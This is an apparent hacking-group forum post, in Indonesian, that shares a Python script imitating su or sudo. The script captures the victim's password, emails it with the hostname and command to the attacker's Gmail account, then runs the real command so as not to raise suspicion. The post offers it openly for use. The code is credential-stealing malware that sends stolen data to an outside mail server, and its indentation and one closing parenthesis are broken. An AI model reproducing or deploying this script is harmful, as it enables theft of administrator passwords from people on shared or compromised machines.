GXRG | Gunadarma J IT Club

Akhirnya Fake su and sudo python script sempurna sudah

hwuhwuhwuhehueh

fetured :

1. log file akan langsung terkirim ke gmail account anda

2. su / sudo command yang asli akan melanjtkan perintah sebagaimana mestinya dan tidak menimbulkan kecurigaan c target

3. apabila library smtp tidak terbuka bebas maka script akan membuat sebuah log file sendiri

#!/usr/bin/python
#########################################################################
#       .______                .___                          ._______   #
#     __| _ __/ __________   __| _/ ___________   ______  _  |___   /   #
#    / __ |\  \/  /\_  __ \ / __ |_/ ___\_  __ \_/ __ \ \/ \/ / /  /    #
#   / /_/ |/  /\  \_|  | \// /_/ |\  \___|  | \/\  ___/\     / / _/___  #
#   \____ /__/  \__  >_|   \____ | \___  >__|    \___  >\/\_/ /_____  | #
#   /--_| |        \/      /--_| |     \/            \/             \/  #
#   \____ |                \____ |         fake su n sudo v2.0          #
#     \/                     \/        with gmail smtp script           #
#########################################################################
# gxrg.org | satasta.com
# by v[0]d | v0d[at]gxrg.org
# gr33tz GXRG cr3wz:
# mxm,ray16,keong-balap,gempals,pc-rusak,sh1r0
# and you!
#===================#
#      c0nf1g       #
#===================#

#remove "#"
#which one! only one!
#choose su or sudo fake
#fake='/usr/bin/su'
fake='/usr/bin/sudo'

#use gmail account only!!
gmail_user = ""        # sender username
gmail_pwd  = ""      # sender password
gmail_alias = "z0mb1e"           # sender alias
#account reciever!
pakpost = "" # reciever email
bccnya = ""                    # MailtoBCC ( optional )

#======================#
# d0nt t0uch anyth1ng! #
#     fr0m h3r3!       #
#======================#
import os, sys, getpass, time, smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email import Encoders

waktu = time.strftime("%d-%m-%Y %H:%M")
ver = "v2.0"
host=open('/etc/hostname','r')
nama=host.readline()
logfile="/tmp/sysconfig.log"
sysfile="/tmp/sysconf.file"
f4ke = len(sys.argv)
i=2
class mailz:
def __init__(self):
self.files=[""]
self.mail = MIMEMultipart()

def attach(self,fil):
self.files.append(fil)

def mailprep(self,to, subject, text):
self.to = to
self.mail['From'] = gmail_alias
self.mail['To'] = to
self.mail['Subject'] = subject
if (mailtoBcc !="") :
self.mail['BCC'] = mailtoBcc

text+="\n\n\n_________________________\nFake su n Sudo Keylogger "+ver+"\n       -  By v[0]d\n        http://edwiin.info"

self.mail.attach(MIMEText(text))

for attach in self.files:
if (attach != "") :
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition','attachment; filename="%s"' % os.path.basename(attach))
self.mail.attach(part)

def sendmail(self):
self.mailServer = smtplib.SMTP("smtp.gmail.com", 587)
self.mailServer.ehlo()
self.mailServer.starttls()
self.mailServer.ehlo()
self.mailServer.login(gmail_user, gmail_pwd)
self.mailServer.sendmail(gmail_user, self.to, self.mail.as_string())
self.mailServer.close()
if len(sys.argv) <= 1:
os.system(fake)
sys.exit(1)
passwd = getpass.getpass(prompt='Password : ');
file=open(sysfile,'awr')
file.write(fake)
file.write(' ')
for i in range(1,f4ke):
file.write(sys.argv[i])
file.write(' ')
file.close()
file=open(logfile,'awr')
file.write(waktu)
file.write(' : ')
file.write(passwd)
file.write('\n')
file.close()
if gmail_user=="" or gmail_pwd=="" or pakpost=="":
sys.exit(1)
p1=open(logfile,'r')
p2=p1.readline()
p3=open(sysfile,'r')
p4=p3.readline()
mailto   =  pakpost
mailtoBcc=  ""
mailsubj =  nama+" "+waktu
mailmsg  =  p2
newmail  = mailz()
newmail.mailprep(mailto,mailsubj,mailmsg)
newmail.sendmail()
os.system(p4)
os.remove(logfile)
os.remove(sysfile

#EOF

enjoy bro!